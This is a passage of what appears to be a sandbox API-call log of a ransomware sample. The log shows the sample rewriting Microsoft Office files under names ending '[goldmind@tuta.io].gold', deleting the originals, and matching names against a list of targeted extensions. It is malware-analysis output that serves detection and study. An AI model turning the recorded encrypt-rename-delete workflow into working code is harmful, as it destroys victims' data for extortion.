dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.816] SetEndOfFile (hFile=0x380) returned 1 [0110.819] CloseHandle (hObject=0x380) returned 1 [0110.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 1 [0110.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".doc") returned 4 [0110.829] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".docx") returned 5 [0110.829] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0110.829] lstrlenW (lpString=".pdf") returned 4 [0110.829] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".xls") returned 4 [0110.829] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".xlsx") returned 5 [0110.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0110.829] lstrlenW (lpString=".ppt") returned 4 [0110.829] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".zip") returned 4 [0110.829] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".rar") returned 4 [0110.829] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".bz2") returned 4 [0110.829] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0110.829] lstrlenW (lpString=".7z") returned 3 [0110.829] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".dbf") returned 4 [0110.829] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".1cd") returned 4 [0110.829] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".jpg") returned 4 [0110.829] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".doc") returned 4 [0110.829] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".docx") returned 5 [0110.829] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0110.829] lstrlenW (lpString=".pdf") returned 4 [0110.829] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".xls") returned 4 [0110.829] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".xlsx") returned 5 [0110.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0110.829] lstrlenW (lpString=".ppt") returned 4 [0110.829] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.829] lstrlenW (lpString=".zip") returned 4 [0110.829] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".rar") returned 4 [0110.829] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0110.829] lstrlenW (lpString=".bz2") returned 4 [0110.829] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0110.829] lstrlenW (lpString=".7z") returned 3 [0110.829] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0110.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.830] lstrlenW (lpString=".dbf") returned 4 [0110.830] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0110.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.830] lstrlenW (lpString=".1cd") returned 4 [0110.830] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0110.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0110.830] lstrlenW (lpString=".jpg") returned 4 [0110.830] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0110.830] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0110.830] lstrlenW (lpString="ODBCR.SAM") returned 9 [0110.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.974] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=11664) returned 1 [0110.974] CloseHandle (hObject=0x394) returned 1 [0110.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 0x20 [0111.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.222] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.222] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0111.223] GetLastError () returned 0x0 [0111.223] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x2d90, lpOverlapped=0x0) returned 1 [0111.269] WriteFile (in: hFile=0x3e4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2da0, lpOverlapped=0x0) returned 1 [0111.270] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.270] WriteFile (in: hFile=0x3e4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0111.271] SetEndOfFile (hFile=0x3e4) returned 1 [0111.271] CloseHandle (hObject=0x3e4) returned 1 [0111.271] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.271] SetEndOfFile (hFile=0x3e0) returned 1 [0111.622] CloseHandle (hObject=0x3e0) returned 1 [0111.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".doc") returned 4 [0111.624] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".docx") returned 5 [0111.624] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0111.624] lstrlenW (lpString=".pdf") returned 4 [0111.624] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".xls") returned 4 [0111.624] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.624] lstrlenW (lpString=".xlsx") returned 5 [0111.624] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0111.624] lstrlenW (lpString=".ppt") returned 4 [0111.624] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".zip") returned 4 [0111.624] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.624] lstrlenW (lpString=".rar") returned 4 [0111.624] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".bz2") returned 4 [0111.624] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".7z") returned 3 [0111.624] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".dbf") returned 4 [0111.624] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".1cd") returned 4 [0111.624] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".jpg") returned 4 [0111.624] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.624] lstrlenW (lpString=".doc") returned 4 [0111.624] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".docx") returned 5 [0111.624] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0111.624] lstrlenW (lpString=".pdf") returned 4 [0111.624] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.624] lstrlenW (lpString=".xls") returned 4 [0111.624] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.625] lstrlenW (lpString=".xlsx") returned 5 [0111.625] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0111.625] lstrlenW (lpString=".ppt") returned 4 [0111.625] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.625] lstrlenW (lpString=".zip") returned 4 [0111.625] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.625] lstrlenW (lpString=".rar") returned 4 [0111.625] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.625] lstrlenW (lpString=".bz2") returned 4 [0111.625] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.625] lstrlenW (lpString=".7z") returned 3 [0111.625] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.625] lstrlenW (lpString=".dbf") returned 4 [0111.625] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.625] lstrlenW (lpString=".1cd") returned 4 [0111.625] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0111.625] lstrlenW (lpString=".jpg") returned 4 [0111.625] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.625] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.625] lstrlenW (lpString="OL.SAM") returned 6 [0111.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.627] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=29056) returned 1 [0111.627] CloseHandle (hObject=0x3e0) returned 1 [0111.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20 [0111.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.628] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.628] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.629] GetLastError () returned 0x0 [0111.629] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x7180, lpOverlapped=0x0) returned 1 [0111.631] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x7190, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7190, lpOverlapped=0x0) returned 1 [0111.632] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.632] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0111.632] SetEndOfFile (hFile=0x380) returned 1 [0111.632] CloseHandle (hObject=0x380) returned 1 [0111.632] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.632] SetEndOfFile (hFile=0x3e0) returned 1 [0111.634] CloseHandle (hObject=0x3e0) returned 1 [0111.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString=".doc") returned 4 [0111.635] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString=".docx") returned 5 [0111.635] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0111.635] lstrlenW (lpString=".pdf") returned 4 [0111.635] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString=".xls") returned 4 [0111.635] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.635] lstrlenW (lpString=".xlsx") returned 5 [0111.635] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0111.635] lstrlenW (lpString=".ppt") returned 4 [0111.635] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString=".zip") returned 4 [0111.635] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.635] lstrlenW (lpString=".rar") returned 4 [0111.635] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString=".bz2") returned 4 [0111.635] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString=".7z") returned 3 [0111.635] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString=".dbf") returned 4 [0111.635] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString=".1cd") returned 4 [0111.635] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.635] lstrlenW (lpString=".jpg") returned 4 [0111.635] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString=".doc") returned 4 [0111.636] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString=".docx") returned 5 [0111.636] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0111.636] lstrlenW (lpString=".pdf") returned 4 [0111.636] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString=".xls") returned 4 [0111.636] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.636] lstrlenW (lpString=".xlsx") returned 5 [0111.636] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0111.636] lstrlenW (lpString=".ppt") returned 4 [0111.636] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString=".zip") returned 4 [0111.636] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.636] lstrlenW (lpString=".rar") returned 4 [0111.636] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString=".bz2") returned 4 [0111.636] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString=".7z") returned 3 [0111.636] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString=".dbf") returned 4 [0111.636] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString=".1cd") returned 4 [0111.636] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0111.636] lstrlenW (lpString=".jpg") returned 4 [0111.636] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.636] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.636] lstrlenW (lpString="OLADD.FAE") returned 9 [0111.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.637] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=133024) returned 1 [0111.637] CloseHandle (hObject=0x3e0) returned 1 [0111.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 0x20 [0111.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.638] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.638] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.639] GetLastError () returned 0x0 [0111.639] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x207a0, lpOverlapped=0x0) returned 1 [0111.642] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x207b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x207b0, lpOverlapped=0x0) returned 1 [0111.644] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.644] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0111.644] SetEndOfFile (hFile=0x380) returned 1 [0111.644] CloseHandle (hObject=0x380) returned 1 [0111.644] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.645] SetEndOfFile (hFile=0x3e0) returned 1 [0111.647] CloseHandle (hObject=0x3e0) returned 1 [0111.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 1 [0111.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.648] lstrlenW (lpString=".doc") returned 4 [0111.648] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.648] lstrlenW (lpString=".docx") returned 5 [0111.648] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0111.649] lstrlenW (lpString=".pdf") returned 4 [0111.649] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".xls") returned 4 [0111.649] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".xlsx") returned 5 [0111.649] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned 